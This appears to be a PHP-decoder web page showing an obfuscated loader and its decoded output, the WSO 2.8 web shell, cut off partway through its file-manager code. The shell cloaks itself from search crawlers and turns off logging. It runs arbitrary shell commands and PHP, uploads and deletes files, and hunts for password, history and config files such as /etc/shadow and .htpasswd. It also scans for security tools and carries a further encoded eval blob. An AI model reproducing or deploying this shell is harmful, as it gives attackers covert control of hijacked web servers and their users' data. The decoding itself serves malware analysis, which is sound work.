Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x..

Decoded Output download

?><?php
 
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
 
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
 
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.8');
 
if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}
 
function wsoLogin() {
    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
 
function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}
 
if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
 
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}
 
if(strtolower(substr(PHP_OS,0,3)) == "win")
    $os = 'win';
else
    $os = 'nix';
 
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);
 
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
    @chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
    $home_cwd = str_replace("\", "/", $home_cwd);
    $cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
    $cwd .= '/';
 
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
 
if($os == 'win')
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
else
    $aliases = array(
        "List dir" => "ls -lha",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
        "show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
        "Find" => "",
        "find suid" => "find / -type f -perm -04000 -ls",
        "find suid in current dir" => "find . -type f -perm -04000 -ls",
        "find sgid" => "find / -type f -perm -02000 -ls",
        "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
        "find config.inc.php" => "find / -type f -name config.inc.php",
        "find config*" => "find / -type f -name \"config*\"",
        "find config* in current dir" => "find . -type f -name \"config*\"",
        "find writable folders and files" => "find / -perm -2 -ls",
        "find writable folders and files in current dir" => "find . -perm -2 -ls",
        "find service.pwd" => "find / -type f -name service.pwd",
        "find service.pwd files in current dir" => "find . -type f -name service.pwd",
        "find .htpasswd" => "find / -type f -name .htpasswd",
        "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
        "find .bash_history" => "find / -type f -name .bash_history",
        "find .bash_history files in current dir" => "find . -type f -name .bash_history",
        "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
        "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
        "locate httpd.conf" => "locate httpd.conf",
        "locate vhosts.conf" => "locate vhosts.conf",
        "locate proftpd.conf" => "locate proftpd.conf",
        "locate psybnc.conf" => "locate psybnc.conf",
        "locate my.conf" => "locate my.conf",
        "locate admin.php" =>"locate admin.php",
        "locate cfg.php" => "locate cfg.php",
        "locate conf.php" => "locate conf.php",
        "locate config.dat" => "locate config.dat",
        "locate config.php" => "locate config.php",
        "locate config.inc" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php" => "locate config.default.php",
        "locate config*" => "locate config",
        "locate .conf"=>"locate '.conf'",
        "locate .pwd" => "locate '.pwd'",
        "locate .sql" => "locate '.sql'",
        "locate .htpasswd" => "locate '.htpasswd'",
        "locate .bash_history" => "locate '.bash_history'",
        "locate .mysql_history" => "locate '.mysql_history'",
        "locate .fetchmailrc" => "locate '.fetchmailrc'",
        "locate backup" => "locate backup",
        "locate dump" => "locate dump",
        "locate priv" => "locate priv"
    );
 
function wsoHeader() {
    if(empty($_POST['charset']))
        $_POST['charset'] = $GLOBALS['default_charset'];
    global $color;
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
    function set(a,c,p1,p2,p3,charset) {
        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
    }
    function g(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        d.mf.submit();
    }
    function a(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        var params = 'ajax=true';
        for(i=0;i<d.mf.elements.length;i++)
            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
        sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
    }
    function sr(url, params) {
        if (window.XMLHttpRequest)
            req = new XMLHttpRequest();
        else if (window.ActiveXObject)
            req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
    }
    function processReqChange() {
        if( (req.readyState == 4) )
            if(req.status == 200) {
                var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
                var arr=reg.exec(req.responseText);
                eval(arr[2].substr(0, arr[1]));
            } else alert('Request error!');
    }
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace?$totalSpace:1;
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
    if(strpos('Linux', $kernel) !== false)
        $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
    else
        $explink .= urlencode($kernel . ' ' . substr($release,0,3));
    if(!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
 
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n=count($path);
    for($i=0; $i<$n-1; $i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for($j=0; $j<=$i; $j++)
            $cwd_links .= $path[$j].'/';
        $cwd_links .= "\")'>".$path[$i]."/</a>";
    }
 
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach($charsets as $item)
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
 
    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
    if(!empty($GLOBALS['auth_pass']))
        $m['Logout'] = 'Logout';
    $m['Self remove'] = 'SelfRemove';
    $menu = '';
    foreach($m as $k => $v)
        $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
 
    $drives = "";
    if($GLOBALS['os'] == 'win') {
        foreach(range('c','z') as $drive)
        if(is_dir($drive.':\'))
            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
    }
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';eval(gzinflate(base64_decode('dZJNc5swEIb/iieTQ3ITuInLZHrAuBIrx9SA+dLFAxbBssRHQxMX//qqJk4y0+lhR6PZffTuu6vrrn3+tS1Ew7d88m1yRV3W7UyFssG2wAmefGStQ6RwMlAzT72OuyuRbnrPqVUNTiV5rU55GhxggXQ9iGU4ny38ttLsWE9Wlc5Vq4VmhF1d3i+mUK1DW6aGhyPFdPQikrG3MQKcIvw9wDDqnBmuMn2CY//DhDiIImzBxvAiUOii3RV1e67/q02xtQlimugoQFEcxTGOjOApjin9xKAspQ1L/TOzq/GUp7RnJD4UZqCWTjBlCbxQol5yIS/MT54ERvGmA0r3qbyWJb97IHvEXfv+cfgqOcEDM2MEhN59zMUa4PDmj9BX5sqLP+E3cfND2P/l1oQOawFjD+S8hz1LjCN3ZTvOSnbg9pVPjH2eHFuosxNbzE+rKTV12DmxUJHgrnDutDckHt99HGVWW7IM5Qxc5DmNjjrud2ZUlYP9vuvl0I95OT8xfS9M6zlPohaacbelgP7jH8nZ1cOkfM3VTZH35f2XLS93LS9vrj/9vNvbhz8= ')));
}
 
function wsoFooter() {
    $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
    <tr>
        <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
        <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
    </tr><tr>
        <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
        <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
    </tr><tr>
        <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
        <td><form method='post' ENCTYPE='multipart/form-data'>
        <input type=hidden name=a value='FilesMAn'>
        <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
        <input type=hidden name=p1 value='uploadFile'>
        <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
        <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
    </tr></table></div></body></html>";
}
 
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }
 
function wsoEx($in) {
    $out = '';
    if (function_exists('exec')) {
        @exec($in,$out);
        $out = @join("
",$out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}
 
function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
     
    if($s >= 1073741824)
        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
    elseif($s >= 1048576)
        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
    elseif($s >= 1024)
        return sprintf('%1.2f', $s / 1024 ) . ' KB';
    else
        return $s . ' B';
}
 
function wsoPerms($p) {
    if (($p & 0xC000) == 0xC000)$i = 's';
    elseif (($p & 0xA000) == 0xA000)$i = 'l';
    elseif (($p & 0x8000) == 0x8000)$i = '-';
    elseif (($p & 0x6000) == 0x6000)$i = 'b';
    elseif (($p & 0x4000) == 0x4000)$i = 'd';
    elseif (($p & 0x2000) == 0x2000)$i = 'c';
    elseif (($p & 0x1000) == 0x1000)$i = 'p';
    else $i = 'u';
    $i .= (($p & 0x0100) ? 'r' : '-');
    $i .= (($p & 0x0080) ? 'w' : '-');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
    $i .= (($p & 0x0020) ? 'r' : '-');
    $i .= (($p & 0x0010) ? 'w' : '-');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
    $i .= (($p & 0x0004) ? 'r' : '-');
    $i .= (($p & 0x0002) ? 'w' : '-');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
    return $i;
}
 
function wsoPermsColor($f) {
    if (!@is_readable($f))
        return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
    elseif (!@is_writable($f))
        return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
    else
        return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
 
function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}
 
function wsoWhich($p) {
    $path = wsoEx('which ' . $p);
    if(!empty($path))
        return $path;
    return false;
}
 
function actionSecInfo() {
    wsoHeader();
    echo '<h1>Server security information</h1><div class=content>';
    function wsoSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo '<span>' . $n . ': </span>';
            if(strpos($v, "
") === false)
                echo $v . '<br>';
            else
                echo '<pre class=ml1>' . $v . '</pre>';
        }
    }
 
    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
    wsoSecParam('Open base dir', @ini_get('open_basedir'));
    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    $temp=array();
    if(function_exists('mysql_get_client_info'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists('mssql_connect'))
        $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
        $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
        $temp[] = "Oracle";
    wsoSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';
 
    if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
    } else {
        wsoSecParam('OS Version',wsoEx('ver'));
        wsoSecParam('Account Settings',wsoEx('net accounts'));
        wsoSecParam('User Accounts',wsoEx('net user'));
    }
    echo '</div>';
    wsoFooter();
}
 
function actionPhp() {
    if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
        ob_start();
        eval($_POST['p1']);
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
        echo strlen($temp), "
", $temp;
        exit;
    }
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
 
    wsoHeader();
    if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
        echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
        echo str_replace('<h1','<h2', $tmp) .'</div><br>';
    }
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
    if(!empty($_POST['p1'])) {
        ob_start();
        eval($_POST['p1']);
        echo htmlspecialchars(ob_get_clean());
    }
    echo '</pre></div>';
    wsoFooter();
}
 
function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
     
    if(!empty($_POST['p1'])) {
        switch($_POST['p1']) {
            case 'uploadFile':
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
                    echo "Can't upload!";
                break;
            case 'mkdir':
                if(!@mkdir($_POST['p2']))
                    echo "Can't create!";
                break;
            case 'delete':
                function deleteDir($path) {
                    $path = (substr($path,-1)=='/') ? $path:$path.'/';
                    $dh  = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") || (basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);
                    @rmdir($path);
                }
                if(is_array(@$_POST['f']))
                    foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
                        $f = urldecode($f);
                        if(is_dir($f))
                            deleteDir($f);
                        else
                            @unlink($f);
                    }
                break;
            case 'paste':
                if($_COOKIE['act'] == 'copy') {
                    function copy_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = @opendir($c.$s);
                            while (($f = @readdir($h)) !== false)
                                if (($f != ".") and ($f != ".."))
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                        } elseif(is_file($c.$s))
                            @copy($c.$s, $d.$s);
                    }
                    foreach($_COOKIE['f'] as $f)
                        copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
                } elseif($_COOKIE['act'] == 'move') {
                    function move_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = @opendir($c.$s);
                            while (($f = @readdir($h)) !== false)
                                if (($f != ".") and ($f != ".."))
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                        } elseif(@is_file($c.$s))
                            @copy($c.$s, $d.$s);
                    }
                    foreach($_COOKIE['f'] as $f)
                        @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
                } elseif($_COOKIE['act'] == 'zip') {
                    if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
                } elseif($_COOKIE['act'] == 'unzip') {
                    if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
                } elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
                }
                unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
                break;
            default:
                if(!empty($_POST['p1'])) {
                    WSOsetcookie('act', $_POST['p1']);
                    WSOsetcookie('f', serialize(@$_POST['f']));
                    WSOsetcookie('c', @$_POST['c']);
                }
                break;
        }
    }
    wsoHeader();
    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
    $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
    if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
    global $sort;
    $sort = array('name', 1);
    if(!empty($_POST['p1'])) {
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
            $sort = array($match[1], (int)$match[2]);
    }
echo "<script>
    function sa() {
        for(i=0;i<d.files.elements.length;i++)
            if(d.files.elements[i].type == 'checkbox')
                d.files.elements[i].checked = d.files.elements[0].checked;
    }
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i],
                     'path' => $GLOBALS['cwd'].$dirContent[$i],
                     'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
                     'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
                    );
        if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
            $files[] = array_merge($tmp, array('type' => 'file'));
        elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
            $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
        elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
    }
    $GLOBALS['sort'] = $sort;
    function wsoCmp($a, $b) {
        if($GLOBALS['sort'][0] != 'size')
